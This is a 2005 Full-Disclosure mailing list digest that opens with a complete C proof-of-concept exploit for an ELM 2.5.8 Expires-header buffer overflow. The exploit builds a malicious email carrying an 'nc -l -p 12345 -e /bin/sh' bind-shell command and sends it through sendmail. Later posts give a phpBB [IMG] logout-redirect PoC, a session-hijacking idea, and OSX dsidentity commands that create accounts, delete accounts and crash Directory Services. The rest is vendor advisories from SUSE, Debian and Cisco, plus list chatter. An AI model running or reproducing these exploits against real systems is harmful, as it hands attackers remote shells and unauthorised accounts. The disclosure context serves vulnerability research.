[Full-disclosure] ELM 2.5.8 Remote Exploit POC
#include stdio.h
#include stdlib.h
#include string.h
#include unistd.h
#define BUFFER 83
#define EMAIL tmpmail
#define STRING `nc -l -p 12345 -e /bin/sh`##
#define SYSLOC 0x42041e50
#define STRLOC 0x4001a207
#define EXTLOC 0x4202b0f0
char expire[]=\x45\x78\x70\x69\x72\x65\x73\x3A\x20;
int main(int argc, char **argv)
{
char buffer[BUFFER];
char *email = NULL;
char *user = NULL;
int i;
long extloc, sysloc, strloc;
FILE *fp;
if(argc != 2) {
puts(Usage: ./elmex [EMAIL PROTECTED]);
exit(EXIT_FAILURE);
}
if(strlen(argv[1]) 50) {
puts([-] Sorry, email address too long!);
exit(EXIT_FAILURE);
}
user = (char *)malloc(strlen(argv[1]));
if(!user) {
perror(malloc);
exit(EXIT_FAILURE);
}
email = EMAIL;
memset(user, '\0', strlen(argv[1]));
memcpy(user, argv[1], strlen(argv[1]));
puts(\nExploit for elm email client 2.5.8 overflow in Expires field);
puts(Tested: Redhat on quiet a Sunday by c0ntex[at]open-security.org\n);
extloc = EXTLOC;
sysloc = SYSLOC;
strloc = STRLOC;
memset(buffer, '\0', BUFFER);
memcpy(buffer, expire, strlen(expire));
for(i = strlen(expire); i 53; i++)
*(buffer+i) = 0x41;
for(i = 53; i 57; i += 4)
*(long *)buffer[i] = sysloc;
for(i = 57; i 61; i++)
*(long *)buffer[i] = extloc;
for(i = 61; i 65; i += 4)
*(long *)buffer[i] = strloc;
memcpy(buffer[65], STRING, strlen(STRING));
buffer[BUFFER] = '\0';
puts([-] Adding exploit buffer to email);
fp = fopen(email, w);
if(!fp) {
perror(fopen); free(user);
exit(EXIT_FAILURE);
}
fprintf(fp,
From: User c0ntex [EMAIL PROTECTED] Sun Aug
21 13:37:00 2005\n
Return-Path: [EMAIL PROTECTED]
Date: Sun, 21 Aug 2005 13:37:00 %s\n
Subject: Insecure?\n
To: %s\n
%s\n, STRING, user, buffer);
fclose(fp);
printf([-] Emailing %s with malicious content\n, argv[1]);
if(system(/bin/cat ./tmpmail | /usr/sbin/sendmail -t) 0) {
perror(system); free(user);
exit(EXIT_FAILURE);
}
puts([-] Connect to system on port 12345 to get your shell\n);
if(unlink(EMAIL) 0)
perror(unlink);
free(user);
return EXIT_SUCCESS;
}
--
regards
c0ntex
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] BBCode [IMG] [/IMG ] Tag Vulnerability
There is a very similar trick: Often you also can take over PHP-session and get authentificated as another user, if you just log referers of an image loaded using [IMG][/IMG]. The user needs to have disabled cookies so that the PHPSESSION is set in URL. This can be done automatically using a little Perl/PHP-Script. You can use regex to parse out which useraccount you compromised. If it was an administrator or moderator you could delete posts or kick users. Greetings, Jan _ Mit der Gruppen-SMS von WEB.DE FreeMail können Sie eine SMS an alle Freunde gleichzeitig schicken: http://freemail.web.de/features/?mc=021179 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] SUSE Security Announcement: Adobe Reader Plugin buffer overflow (SUSE-SA:2005:047)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 __ SUSE Security Announcement Package:acroread Announcement ID:SUSE-SA:2005:047 Date: Mon, 22 Aug 2005 12:00:00 + Affected Products: 9.0, 9.1, 9.2, 9.3 SUSE Linux Enterprise Server 9 Novell Linux Desktop 9 Open Enterprise Server 9 Vulnerability Type: remote code execution Severity (1-10):8 SUSE Default Package: yes Cross-References: CAN-2005-2470 Content of This Advisory: 1) Security Vulnerability Resolved: acroread plugin buffer overflow Problem Description 2) Solution or Work-Around 3) Special Instructions and Notes 4) Package Location and Checksums 5) Pending Vulnerabilities, Solutions, and Work-Arounds: See SUSE Security Summary Report. 6) Authenticity Verification and Additional Information __ 1) Problem Description and Brief Discussion A buffer overflow was found in the core application plug-in for the Adobe Reader, that allows attackers to cause a denial of service (crash) and possibly execute arbitrary code via unknown vectors. This is tracked by the Mitre CVE ID CAN-2005-2470. Note that for SUSE Linux Enterprise Server 8 and SUSE Linux Desktop 1 Acrobat Reader support was already discontinued by an earlier announcement. 2) Solution or Work-Around Please install the updated packages. 3) Special Instructions and Notes None. 4) Package Location and Checksums The preferred method for installing security updates is to use the YaST Online Update (YOU) tool. YOU detects which updates are required and automatically performs the necessary steps to verify and install them. Alternatively, download the update packages for your distribution manually and verify their integrity by the methods listed in Section 6 of this announcement. Then install the packages using the command rpm -Fhv file.rpm to apply the update, replacing file.rpm with the filename of the downloaded RPM package. Our maintenance customers are notified individually. The packages are offered for installation from the maintenance web. x86 Platform: SUSE Linux 9.3: ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/acroread-7.0.1-2.1.i586.rpm 041ea531a0d59e0dcda6a2fd71e7b587 SUSE Linux 9.2: ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/acroread-7.0.1-2.1.i586.rpm 23ab8bb3f469537e40c31235401148dd SUSE Linux 9.1: ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/acroread-7.0.1-2.2.i586.rpm 36a78aeffaff031e5cb737a984bbbdc0 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/acroread-7.0.1-2.2.src.rpm 6a939e3eecb9a72061e403728f721b1c SUSE Linux 9.0: ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/acroread-7.0.1-3.i586.rpm 90a04bd5960b4650aee25717a9d4909a source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/acroread-7.0.1-3.src.rpm 341cdb2a7473b8f58aea1f9d37a742b0 __ 5) Pending Vulnerabilities, Solutions, and Work-Arounds: See SUSE Security Summary Report. __ 6) Authenticity Verification and Additional Information - Announcement authenticity verification: SUSE security announcements are published via mailing lists and on Web sites. The authenticity and integrity of a SUSE security announcement is guaranteed by a cryptographic signature in each announcement. All SUSE security announcements are published with a valid signature. To verify the signature of the announcement, save it as text into a file and run the command gpg --verify file replacing file with the name of the file where you saved the announcement. The output for a valid signature looks like: gpg: Signature made DATE using RSA key ID 3D25D3D9 gpg: Good signature from SuSE Security Team [EMAIL PROTECTED] where DATE is replaced by the date the document was signed. If the security team's key is not contained in your key ring, you can import it from the first installation CD. To import the key, use the command gpg --import gpg-pubkey-3d25d3d9-36e12d04.asc - Package authenticity verification: SUSE update packages are available on many mirror FTP servers all over the world. While this service is considered valuable and important to the free and open source software community, the
[Full-disclosure] [SECURITY] [DSA 780-1] New kpdf packages fix denial of service
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 780-1 [EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze August 22nd, 2005 http://www.debian.org/security/faq - -- Package: kdegraphics Vulnerability : wrong input sanitising Problem-Type : local (remote) Debian-specific: no CVE ID : CAN-2005-2097 A bug has been discovered in the font handling code in xpdf, which is also present in kpdf, the PDF viewer for KDE. A specially crafted PDF file could cause infinite resource consumption, in terms of both CPU and disk space. The old stable distribution (woody) is not affected by this problem. For the stable distribution (sarge) this problem has been fixed in version 3.3.2-2sarge1. For the unstable distribution (sid) this problem will be fixed as soon as the necessary libraries have made their C++ ABI transition. We recommend that you upgrade your kpdf package. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - Source archives: http://security.debian.org/pool/updates/main/k/kdegraphics/kdegraphics_3.3.2-2sarge1.dsc Size/MD5 checksum: 1317 ebc131e766736e637b2e30151dee6a6d http://security.debian.org/pool/updates/main/k/kdegraphics/kdegraphics_3.3.2-2sarge1.diff.gz Size/MD5 checksum: 156211 5d067cd9bc49c92cb7ff7ab98547e23e http://security.debian.org/pool/updates/main/k/kdegraphics/kdegraphics_3.3.2.orig.tar.gz Size/MD5 checksum: 7661488 6d0bb2c6e2e2f666d123778fbc520317 Architecture independent components: http://security.debian.org/pool/updates/main/k/kdegraphics/kdegraphics_3.3.2-2sarge1_all.deb Size/MD5 checksum:17486 9600d747c831ded3133f24e8fa01047d Alpha architecture: http://security.debian.org/pool/updates/main/k/kdegraphics/kamera_3.3.2-2sarge1_alpha.deb Size/MD5 checksum:92356 4c27e2725daa34b6fb07d6116b88ce5b http://security.debian.org/pool/updates/main/k/kdegraphics/kcoloredit_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 108972 f5cda9ddad026dbcee8540d8424adb18 http://security.debian.org/pool/updates/main/k/kdegraphics/kdegraphics-dev_3.3.2-2sarge1_alpha.deb Size/MD5 checksum:64878 c3117b2b078b60bb9334abf0d4f67008 http://security.debian.org/pool/updates/main/k/kdegraphics/kdegraphics-kfile-plugins_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 276102 851cb0bdf23b1f4cd0fd02ca0fcb74e5 http://security.debian.org/pool/updates/main/k/kdegraphics/kdvi_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 497444 46c1eddc4353d110a2ad28cee9d1ac8b http://security.debian.org/pool/updates/main/k/kdegraphics/kfax_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 149196 10d492126b04fdf42b97f9c9844e5bfe http://security.debian.org/pool/updates/main/k/kdegraphics/kgamma_3.3.2-2sarge1_alpha.deb Size/MD5 checksum:92818 104aa6a68ef4cde228cce3d743c168f4 http://security.debian.org/pool/updates/main/k/kdegraphics/kghostview_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 245808 789f67ae1a03118d18c529ae5f14a2b6 http://security.debian.org/pool/updates/main/k/kdegraphics/kiconedit_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 159402 d9048b984c10f5c100b790ab897289f2 http://security.debian.org/pool/updates/main/k/kdegraphics/kmrml_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 244430 0bcf5aed02cc7d2e2f686cde7e978276 http://security.debian.org/pool/updates/main/k/kdegraphics/kolourpaint_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 831072 cd18f57535cf1d312b703195d396e291 http://security.debian.org/pool/updates/main/k/kdegraphics/kooka_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 773948 edc09d16e385f33b01eca8f9b6e48a58 http://security.debian.org/pool/updates/main/k/kdegraphics/kpdf_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 533544 8067051311d0097925f3af26c6294584 http://security.debian.org/pool/updates/main/k/kdegraphics/kpovmodeler_3.3.2-2sarge1_alpha.deb Size/MD5 checksum: 2317434 5ce4f90805dfa611a4aa227865986699 http://security.debian.org/pool/updates/main/k/kdegraphics/kruler_3.3.2-2sarge1_alpha.deb Size/MD5 checksum:63278 a89aa5eb359a1adfa1f7e1915748d870 http://security.debian.org/pool/updates/main/k/kdegraphics/ksnapshot_3.3.2-2sarge1_alpha.deb
Re: [Full-disclosure] BBCode [IMG] [/IMG ] Tag Vulnerability
alrighty, How can this be done with header location being called in the middle of the page? img src=http://www.site.biz/test/test.jpg; border=0 / Tested on phpbb 2.0.17 default install with a no go. /str0ke On 8/21/05, h4cky0u [EMAIL PROTECTED] wrote: Hi, Saw this one on www.waraxe.us (Discovered by Easyex) and i was thinking if there are some more possibilities using the method described. The POC below is for phpBB. - == make yourself a folder on your host rename the folder to signature.jpg this will trick bbcode that its an image file. example http://sitewithmaliciouscode/signature.jpg inside that folder .. put this code .. and rename it to index.php file. Quote: ?php header(Location: http://hosttobeexploited/phpBB/login.php?logout=true;); exit; ? this will make every visitor getting logout when they view the thread that have image linked to this. === This seems to be working on almost all the scripts using BBcode. Successfully tested on vBulletin 3.0.7 and phpBB 2.0.17 when used the image link to the folder with the malicious code as the forum signature. What i was wondering is there anything more serious than logging out the users that can be done with this? The admin folders of ipb and phpbb need reauthentication. So nothing serious for them but anything more innovative that could be done? And any way to fix this? Regards, -- http://www.h4cky0u.org (In)Security at its best... ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: BBCode [IMG] [/IMG] Tag Vulnerability
There could be a really easy solution to this, already implemented for a
MediaWiki hack (although I haven't tested your proposed vuln):
by: Sebastien Barre (Kitware, Inc.)
product: kwIncludeFile.php
[START]
// Can not open URL, bail out
if ([EMAIL PROTECTED]($url, 'r'))
{
return kwIncludeFileError(
file not found ($url));
}
// If we can read that URL, then it means it is in the local
filesystem
if (@is_readable($url))
{
return kwIncludeFileError(
local access denied ($url));
}
[END]
There might be something to this to confirm if the file being opened is a
valid file.
Better yet, I'm working on a project right now that includes checking the
mime type of a file using PHP's getimagesize:
http://php.net/getimagesize
GD is not required for this function. In it, you can check if a file is
actually an image or not against its mime/type:
image/jpeg
image/pjpeg
image/tiff
So there are a couple avenues one can take in assessing if the file that
[IMG][/IMG] is rendering is indeed an image.
Problem solved.
On Mon, 22 Aug 2005, h4cky0u wrote:
Hi,
Saw this one on www.waraxe.us (Discovered by Easyex) and i was
thinking if there are some more possibilities using the method
described. The POC below is for phpBB. -
==
make yourself a folder on your host
rename the folder to signature.jpg
this will trick bbcode that its an image file.
example http://sitewithmaliciouscode/signature.jpg
inside that folder .. put this code ..
and rename it to index.php file.
Quote:
?php
header(Location: http://hosttobeexploited/phpBB/login.php?logout=true;);
exit;
?
this will make every visitor getting logout when they view the thread that
have image linked to this.
===
This seems to be working on almost all the scripts using BBcode.
Successfully tested on vBulletin 3.0.7 and phpBB 2.0.17 when used the
image link to the folder with the malicious code as the forum
signature. What i was wondering is there anything more serious than
logging out the users that can be done with this? The admin folders of
ipb and phpbb need reauthentication. So nothing serious for them but
anything more innovative that could be done? And any way to fix this?
Regards,
--
Paul Laudanski http://castlecops.com
Information from Computer Cops, L.L.C.
This message was checked by NOD32 Antivirus System for Linux Mail Server.
part000.txt - is OK
http://castlecops.com
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Zotob Worm Remover
Diabl0 will be happy to know that it just deletes the worm and not all the IRC bots that the worm drops on the computer. Oh and it doesn't delete the cutom keyloggers or backdoors or anything for that matter. Diabl0 isn't using the worm for botnet control anyways. He just created the worm from the HOD exploit. HOD is the exploit that doesn't make the machine reboot. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of n3td3v Sent: Sunday, August 21, 2005 7:15 PM To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Zotob Worm Remover On 8/21/05, Ill will [EMAIL PROTECTED] wrote: Made a Zotob Worm Remover that removes the processes/files/registry entries from variants A through G. includes MASM source code. Diabl0 won't be happy that you're trying to supress his worm. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] An old/new security list
Gee, Dave, isn't availability part of your security program? 2nd time this year, dude. On 8/22/05, Dave Aitel [EMAIL PROTECTED] wrote: Immunity suffered a hard drive problem, so if you were on this list: http://www.immunitysec.com/mailman/listinfo/dailydave , we invite you to resubscribe. We'll be announcing new versions of MOSDEF, SPIKE, SPIKE Proxy, and an all new unmidl.py as soon as we get our infrastructure ready. (It's easier to make new tarballs than to recover the old ones). There will probably also be discussions of Buffy the Vampire slayer, hand crafted IDL files for random MS services, lobster farms, flames, and the usual lot. Thanks, Dave Aitel Immunity, Inc. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: BBCode [IMG] [/IMG] Tag Vulnerability
On Mon, Aug 22, 2005 at 12:34:56AM -0400, Paul Laudanski wrote: So there are a couple avenues one can take in assessing if the file that [IMG][/IMG] is rendering is indeed an image. Problem solved. no its not solved. there are at least as many avenues to circumvent your checks. mr. blackhat's index.php just have to check, if youre script is checking for an image by e.g. check the header of the request ``X-Powered-By'' or something like that, that identifies the requests origin from a php script. the poor mens solution is just to check for the REMOTE_ADDR. then return a nice image and the server is happy - anybody else gets the real code. best thing to prevent this, disable [IMG] and friends - or do something proxyisch, that protects your users. -- cu ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ Suresec Advisories ] - Several MacOS X vulnerabilities
Suresec Security Advisory - #5 22/08/05 Several MacOS X vulnerabilities Advisory: http://www.suresec.org/advisories/adv5.pdf Description: 2 bufferoverflows in ping and traceroute were found. Additionaly a vulnerability was found in dsindentity that allows any user to remove useraccounts. Risk: Exploitation of these vulnerabilities may lead to elevated privileges or removal of accounts. Credit: The vulnerabilities were discovered by Ilja van Sprundel and Neil Archibald. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] I am not at the office
I will be out of the office starting 08/22/2005 and will not return until 08/29/2005. I will respond to your message when I return. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] An old/new security list
Immunity suffered a hard drive problem, so if you were on this list: http://www.immunitysec.com/mailman/listinfo/dailydave , we invite you to resubscribe. We'll be announcing new versions of MOSDEF, SPIKE, SPIKE Proxy, and an all new unmidl.py as soon as we get our infrastructure ready. (It's easier to make new tarballs than to recover the old ones). There will probably also be discussions of Buffy the Vampire slayer, hand crafted IDL files for random MS services, lobster farms, flames, and the usual lot. Thanks, Dave Aitel Immunity, Inc. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: It's not that simple... [Was: Re: [Full-disclosure] Disney Down?]
On Fri, 19 Aug 2005, Nick FitzGerald wrote: [EMAIL PROTECTED] to Ron DuFresne: Perhaps it does realte considering the above and considering that the unix world learned many of the evils of RCP services over ten years ago that seem to hit the M$ realm every few months, repeatedly... We used to call them rsploits when it was common in unix. Friends and I had a good chuckle when MS started repeating history, having rsploits of its own. I would love to deny all port 445 with layer-3 switches but this would be like blocking portmap and expecting NFS to still mount. What have we learned from the past that we can apply to our MS networks, since they have become a (un)necessary evil? How neutered does an MS workstation become if the RPC port is completely blocked from the outside? Perhaps mostly harmless ? What would it take to write an RPC filter to only accept RPCs which we actually care about? In addition, why is PnP even an RPC accessible from the outside (no, upnp is not a good reason)!? Most importantly, we need to eliminate the entire RPC attack vector in the future for Microsoft systems -- this is not the first MS rsploit and we will certainly see more. Why don't folk -- well, sys-admins anyway -- actually take the time to bother to learn what their systems do and how they work??? Ahh, but this is not an admin issue, it's the vendors issue. Was similar for sometime with SUNOS, when trying to disable RPC for production systems one used to have to twist around sideways while tring to bend over backwards. Not the same these days now that SUN has learned the lesson that M$ is re-propogating with thier we'll do it our way, screw learning via others lessons or sticking to standards. Redmond has been bitten by these issues in the past few years a number of times and will be bitten again till they finally learn what took other vendors awhile to get the point on as well. [REST SNIPPED] Thanks, Ron DuFresne -- Sometimes you get the blues because your baby leaves you. Sometimes you get'em 'cause she comes back. --B.B. King ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: BBCode [IMG] [/IMG] Tag Vulnerability
On Mon, 22 Aug 2005, Christoph Frick wrote: On Mon, Aug 22, 2005 at 12:34:56AM -0400, Paul Laudanski wrote: So there are a couple avenues one can take in assessing if the file that [IMG][/IMG] is rendering is indeed an image. Problem solved. no its not solved. there are at least as many avenues to circumvent your checks. mr. blackhat's index.php just have to check, if youre script is checking for an image by e.g. check the header of the request ``X-Powered-By'' or something like that, that identifies the requests origin from a php script. the poor mens solution is just to check for the REMOTE_ADDR. then return a nice image and the server is happy - anybody else gets the real code. best thing to prevent this, disable [IMG] and friends - or do something proxyisch, that protects your users. I'd be interested in seeing more of these avenues as you refer to them. I'm not sure how checking for x-powered-by is going to solve anything on the server where this supposed local vuln can occur. Please explain. -- Paul Laudanski http://castlecops.com Information from Computer Cops, L.L.C. This message was checked by NOD32 Antivirus System for Linux Mail Server. part000.txt - is OK http://castlecops.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Zotob Worm Remover
On 8/22/05, Todd Towles [EMAIL PROTECTED] wrote: Diabl0 will be happy to know that it just deletes the worm The worm is just proof that corporate security can be by-passed. It shows how hackers can target individuals within the enterprise and compromise their wireless device over the weekend while the corporate user is doing out of office work. The wireless devices were most likely the primary source of the spread. Media outlets are reporting wireless devices were only an accessory to the spread of the worm. Isn't it the case that this worm was carefully planned out and coordinated. Isn't it the case that the corporations hit were hand picked by the hacker. Isn't it the case that the hackers knew the owners of the wireless devices by name. Isn't it the case that more research and background work was done before releasing this to the affected enterprises than experts are reporting to the public at large. Corporations need to give all employees more advanced training in patching their personal wireless devices, which are being used over the weekend, and require them to be patched before the connect to corporate infrustructure on Monday morning, or during the weekend for those corporate users accessing the work place remotely from home. I think if the affected corporations don't learn from Zobtob then the same will happen again. Its vital enterprises now review policy in respect of this, as its becoming more common place that hackers are hitching a ride on wireless devices and hackers no longer need to worry about compromising corporate security, as unsuspecting employees are only too easy to target and infect, for the end game of allowing an infected device beyond the production servers and straight into the internal network of many of the big dot-com's. Its not completey clear who diabl0 is currently. Theres more than one diabl0 out on the web. A query on Google brings up indivduals posting on discussion forums, as well as a defacement group named diabl0, who funnily have been more than willing to submit their defacements to Zone-H. These guys have been around for a while and know what their doing is the generally impression I get. I don't know if diabl0 was clever enough to research and coordinate and target laptops to propogate the worm, but it would be only too easy to do in the future if someone is willing to put in enough preperation time into planning the assault on known employees of an enterprise. I've been watching too many movies and using illegal substances. Time for me to go now. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] DMA[2005-0818a] - 'Apple OSX dsidentity privilege abuse'
DMA[2005-0818a] - 'Apple OSX dsidentity privilege abuse' Author: Kevin Finisterre Vendor: http://www.apple.com/bluetooth/ Product: 'Mac OSX 10.4' References: http://www.digitalmunition.com/DMA[2005-0818a].txt http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2508 http://www.suresec.org/advisories/adv5.pdf Description: After roughly one hour of beating on the freshly released OSX 10.4 I found that /usr/sbin/dsidentity allows any user on the system to add accounts to Directory Services. Passwords can easily be set at the time of account creation, and the newly created account can be used to login to the OSX gui. Due to the lack of shell the account is limited in nature, however once you have logged into the gui accessing a shell is trivial. To add an account simply use the following command line and then you can now login as RickJames with the password isapimp. CrunkJuice:~ kevinfinisterre$ /usr/sbin/dsidentity -a RickJames -s isapimp -v After logging in as RickJames open Safari and type file:///bin in the address bar. Double click on bash. Ignore the warning about not being authorized, and then click cancel when asked to close the application. Voila Now you have a working bash shell as RickJames. To remove an account from Directory Services use the following. CrunkJuice:~ kevinfinisterre$ /usr/sbin/dsidentity -r CharlieMurphy -v If you rally want to piss off someone's Directory Services try the following. CrunkJuice:~ kevinfinisterre$ /usr/sbin/dsidentity -a `perl -e 'print A x 29000'` (lather, rinse, repeat) Work Around: Install 2005-007 update or just rm -rf /usr/sbin/dsidentity http://www.apple.com/support/downloads/ Sidenote: Neil Archibald of Suresec LTD also reported this issue to apple at the same time I did. http://www.suresec.org/advisories/adv5.pdf outlines extra detail about this issue with regard to the use of getenv() calls. Timeline associated with this bug: 05/25/2005 reported to apple. 05/26/2005 followup to auto ticketing system #9116351 08/03/2005 AppleSeeds! 08/17/2005 Security Update 2005-007 v1.1 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Cisco Security Advisory: SSL Certificate Validation Vulnerability in IDS Management Software
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 = Cisco Security Advisory: SSL Certificate Validation Vulnerability in IDS Management Software Revision 1.0 For Public Release 2005 August 22 1700 UTC (GMT) = Contents Summary Affected Products Details Impact Software Versions and Fixes Obtaining Fixed Software Workarounds Exploitation and Public Announcements Status of This Notice: FINAL Distribution Revision History Cisco Security Procedures +-- Summary === CiscoWorks Management Center for IDS Sensors (IDSMC) is a network security software agent that provides configuration and signature management for Cisco Intrusion Detection and Intrusion Prevention systems. A separate but closely related product, Monitoring Center for Security (Security Monitor or Secmon), provides event collection, viewing, and reporting capability for network devices. A malicious attacker may be able to spoof a Cisco Intrusion Detection Sensor (IDS), or Cisco Intrusion Prevention System (IPS) by exploiting a vulnerability in the SSL certificate checking functionality in IDSMC and Secmon. Cisco has made free software available to address this vulnerability. This advisory is available at http://www.cisco.com/warp/public/707/cisco-sa-20050824-idsmc.shtml Affected Products = Vulnerable Products +-- * IDSMC version 2.0 and version 2.1. * CiscoWorks Monitoring Center for Security (Security Monitor or Secmon) version 1.1 through version 2.0 and version 2.1. Products Confirmed Not Vulnerable + * IDSMC versions 1.0 thru 1.2 * CiscoWorks Monitoring Center for Security (Security Monitor or Secmon) version 1.0 No other Cisco products are currently known to be affected by vulnerability. Details === A malicious attacker may be able to spoof an IDS or IPS by exploiting a vulnerability in the SSL certificate checking functionality in IDSMC and Secmon. SSL certificates are used to secure and authenticate IDS and IPS sensors, thereby ensuring safe communication across your network. This vulnerability is documented in the Cisco Bug Toolkit as Bug ID CSCsa50100 and CSCsb57379. Impact == If exploited, the attacker may be able to gather login credentials, submit false data to IDSMC and Secmon or filter legitimate data from IDSMC and Secmon, thus impacting the integrity of the device and the reporting capabilities of it. Software Versions and Fixes === This issue is addressed in Service Pack 1 for IPSMC 2.1 and Security Monitor 2.1. This service pack is available for download at http://www.cisco.com/cgi-bin/tablebuild.pl/mgmt-ctr-ids-app This service pack provides monitoring of certificate information and provides logged messages when the certificate changes for any reason for both IDSMC and Secmon. In addition to logging certificate changes, this service pack allows Secmon to optionally drop the connection should the certificate change. Revision 2.2 of IPSMC will provide the option to drop the connection between the sensor and IPSMC should the certificate change. This release is anticipated to be available in late 2005. Obtaining Fixed Software Customers with Service Contracts +--- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third-party Support Organizations + Customers whose Cisco products are provided or maintained through prior or existing agreement with third-party support organizations such as Cisco Partners, authorized resellers, or service providers should contact that support organization for assistance with the upgrade, which should be free of charge. Customers without Service Contracts +-- Customers who purchase direct from Cisco but who do not hold a Cisco service contract and customers who purchase through third-party vendors but are unsuccessful at obtaining fixed software through their point of sale should get their upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: [EMAIL PROTECTED] Please have your product serial number available and give the URL of this notice as evidence of your entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Please do not contact
[Full-disclosure] Cisco Security Advisory: Cisco Intrusion Prevention System Vulnerable to Privilege Escalation
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 = Cisco Security Advisory: Cisco Intrusion Prevention System Vulnerable to Privilege Escalation Revision 1.0 For Public Release 2005 August 22 1700 UTC (GMT) = Contents Summary Affected Products Details Impact Software Versions and Fixes Obtaining Fixed Software Workarounds Exploitation and Public Announcements Status of This Notice: FINAL Distribution Revision History Cisco Security Procedures +-- Summary === Cisco Intrusion Prevention Systems (IPS) are a family of network security devices that provide network based threat prevention services. A user with OPERATOR or VIEWER access privileges may be able to exploit a vulnerability in the command line processing (CLI) logic to gain full administrative control of the IPS device. Cisco has made free software available to address this vulnerability. This advisory is available at http://www.cisco.com/warp/public/707/cisco-sa-20050824-ips.shtml Affected Products = Vulnerable Products +-- Cisco Intrusion Prevention System version 5.0(1) and 5.0(2). Products Confirmed Not Vulnerable + Any Cisco Intrusion Detection Systems (IDS) or IPS version 4.x and earlier. Details === A user with OPERATOR or VIEWER access privileges may be able to exploit a vulnerability in the command line processing logic to gain full administrative control of the IPS device. OPERATOR and VIEWER accounts are normally non-privileged accounts used for monitoring and troubleshooting purposes. This vulnerability is documented in the Cisco Bug Toolkit as Bug ID CSCsb16527. Impact == Successful exploitation of this vulnerability grants an attacker full control of the IPS Device. With full administrative access, an attacker may use the IPS device to bypass intrusion detection logic, run arbitrary code or perform a denial of service attack on the network and/or IPS device. If the IPS device is used in inline mode, an attacker may cause an interruption of network service. Software Versions and Fixes === This issue is fixed in IPS version 5.0(3) which is available for download at http://www.cisco.com/cgi-bin/tablebuild.pl/ips5 Obtaining Fixed Software Customers with Service Contracts +--- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third-party Support Organizations + Customers whose Cisco products are provided or maintained through prior or existing agreement with third-party support organizations such as Cisco 